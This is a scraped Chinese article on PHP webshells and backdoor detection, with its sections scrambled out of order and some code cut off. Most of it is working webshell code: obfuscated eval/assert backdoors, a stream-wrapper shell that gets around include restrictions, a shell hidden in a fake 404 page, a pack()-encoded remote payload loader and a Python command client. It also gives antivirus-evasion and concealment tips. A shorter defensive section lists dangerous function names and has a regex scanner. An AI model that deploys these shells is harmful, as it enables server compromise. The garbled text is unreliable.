PHP安全之webshell和后门检测

php-shell.png

e、使用session

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
@link //dxkite.cn
 */
class ShellStream
{
 protected $position;
 protected $code;
 public function stream_open($path, $mode, $options, &$opened_path)
 {
  $url = parse_url($path);
  $name = $url["host"];
  $this->code = base64_decode($name);
  $this->position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset < strlen($this->code) && $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 // include
 public function stream_stat()
 {
  return stat(FILE);
 }
 // file exists
 public function url_stat(string $path,int $stat)
 {
  return stat(FILE);
 }
 public static function shell(){
  stream_wrapper_register('shell', ShellStream::class);
  if (isset($_POST['password']) && $_POST['code']) {
   if ($_POST['password']=='dxkite') {
    $code = $_POST['code'];
    include 'shell://'.$code;
   } else {
    include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
   }
  }
 }
}

二、代码混淆

<?php  
@$_++; // $_ = 1  
$__=("#"^"|"); // $__ = _  
$__.=("."^"~"); // _P  
$__.=("/"^"`"); // _PO  
$__.=("|"^"/"); // _POS  
$__.=("{"^"/"); // _POST  
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  
?> 

或者

<?php  
    $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
    $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
    $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
    $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
    $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
    $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");  
    $jgfi = $ftdf("l","","lclrlelaltel_functlilon");  
    $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  
?>

可以使用weevely工具来生成,代码伪装避开各种主流的杀毒软件

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web
页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

更常用的混淆视听的方法:(这种是服务器层面的混淆)

  • 修改文件时间

  • 改名融入上传后所在文件夹,让人无法直观看出文件异常

  • 文件大小的伪装处理(至少看起大小像个正常脚本)

  • 选好藏身路径并尽量少的访问

  • 畸形目录%20

我们通过这一串代码可以很容易的引用外部的PHP程序,但是前提是配置文件允许该行为被执行,先看看我的配置项

1、如何查找

直观寻找方式也有很多

  • 通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)

  • 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi

  • 通过access.log访问日志分析

下面是360 zhujiweishi ,在linux服务器上非常简单好用

463.com 1

通过常见的关键词如(可以使用find 和 grep
等命令结合起来搜索代码中是否包含以下文件)

  • 系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

  • 代码执行: eval, assert, call_user_func,base64_decode, gzinflate,
    gzuncompress, gzdecode, str_rot13

  • 文件包含: require, require_once, include, include_once,
    file_get_contents, file_put_contents, fputs, fwrite

通过简单的python脚本

#!/usr/bin/env python
# encoding: utf-8

import os,sys
import re
import hashlib
import time

rulelist = [
    '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))',
    '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))',
    '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})',
    '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))',
    '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))',
    '(\$(\w+)\s*\(\s.chr\(\d+\)\))',
    '(\$(\w+)\s*\$\{(.*)\})',
    '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))',
    '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))',
    '(\$\_\=(.*)\$\_)',
    '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))',
    '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))',
    '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))',
    '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))',
    '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))',
    '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))',
    '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))',
    '(eval\s*\(\s*\(\s*\$\$(\w+))',
    '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))',
    '(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
    ]

def scan(path):
    print('           可疑文件         ')
    print('*'*30)
    for root,dirs,files in os.walk(path):
        for filespath in files:
            if os.path.getsize(os.path.join(root,filespath))<1024000:
                file= open(os.path.join(root,filespath))
                filestr = file.read()
                file.close()
                for rule in rulelist:
                    result = re.compile(rule).findall(filestr)
                    if result:
                        print '文件:'+os.path.join(root,filespath )
                        print '恶意代码:'+str(result[0][0:200])
                        print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                        print '\n\n'
                        break
def md5sum(md5_file):
    m = hashlib.md5()
    fp = open(md5_file)
    m.update(fp.read())
    return m.hexdigest()
    fp.close()

if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477':
    if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b':
        pass
    else:
        print('*'*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print('*'*40)
        time.sleep(5)
if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55':
    if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838':
        pass
    else:
        print('*'*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print('*'*40)
        time.sleep(5)
if __name__=='__main__':

    if len(sys.argv)!=2:
        print '参数错误'
        print "\t按恶意代码查找:"+sys.argv[0]+'目录名'
    if os.path.lexists(sys.argv[1]) == False:
        print "目录不存在"
        exit()
    print ('\n\n开始查找:'+sys.argv[1])
    if len(sys.argv) ==2:
        scan(sys.argv[1])
    else:
        exit()

463.com 2 

d、使用pack函数

<?php if(empty($_SESSION['api']))
    $_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>

从配置文件可以看到,allow_url_include
被我关闭了,也就是包含远程代码是不可能执行的,但是我们这里利用了一个东西。http://
流,我们知道,在PHP中很多东西都是可以通过流包装器来使用的,比如常见的
php:// 流,我们可以通过 php://input
来获取输入流来读取请求体的内容,那么根据这个思路,我们能不能通过流包装器来实现代码执行?答案是可行的
通过PHP函数 stream_wrapper_register
注册包装器,检测特定的URL包装功能,监控 include 流,在 include
流中动态生成PHP代码,我将通过如下代码执行一个 hello world
程序来证明这个过程

四、安全人员应该怎么做

<?php
 include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs';
 echo 'hello, shell world';

服务器配置

配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限

nginx或者apache配置的时候,不能访问的目录一定要配置为deny

待续。。。

 

参考文章

https://github.com/chenpingzhao/php-webshells

http://blog.csdn.net/miltonzhong/article/details/9714367

http://blog.jobbole.com/53821/

Hello Stream Wrapper 的实现

1、使用反射

相关内容可参考:http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php

<?php
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

总结

h、使用copy函数复制文件

<?php
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

0×02 后门示例

或者

<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['iixosmse']);

通过如上的代码,经过执行后,可以输出一个 hello worldHelloWorld

基于PHP的应用面临着各种各样的攻击:

通过上述程序,我们实现了通过 include 指令直接执行 php
,并插入我们想要的效果,我们现在根据这个原理写一个Shell:

这里介绍上述加粗的几种攻击的方法

include 'http://www.test.com/code.php'

a、使用str_replace函数

<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>

//说明:请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>

463.com 3 

b、使用str_rot13函数

<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?>
//说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
import requests 
import base64
import sys
def send_raw(url,password,cmd):
 res=requests.post(url,{
  'password':password,
  'code': base64.b64encode(cmd.encode('utf-8')) 
 })
 return res.text
def send_php_shell(url,password,cmd):
 return send_raw(url,password,'')
  if cmd == 'exit':
   break
  elif cmd.startswith('run'):
   cmd,path = cmd.split(' ',1)
   code = ''
   with open(path) as f:
    for line in f:
     code = code + line + "\r\n" 
   response = send_raw(url,password,code);
   print(response)
  else:
   response = send_php_shell(url,password,cmd);
   print(response)

f、隐藏在html页面

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

您可能感兴趣的文章:

三、如果绕过配置文件

463.com,一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?

在PHP开发中,我们使用最为频繁的指令大概就是 include 指令, include
指令中一些比较普通的文件包含漏洞我们就忽略了,先来看看一串代码:

c、使用include函数

<?php $filename=$_GET['code'];include ($filename); ?>

//由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。
code = "position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset < strlen($this->code) && $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 public function stream_stat()
 {
  return stat(FILE);
 }
}
stream_wrapper_register('hello', HelloStream::class);
include 'hello://dxkite';

2、如何防范

相关文章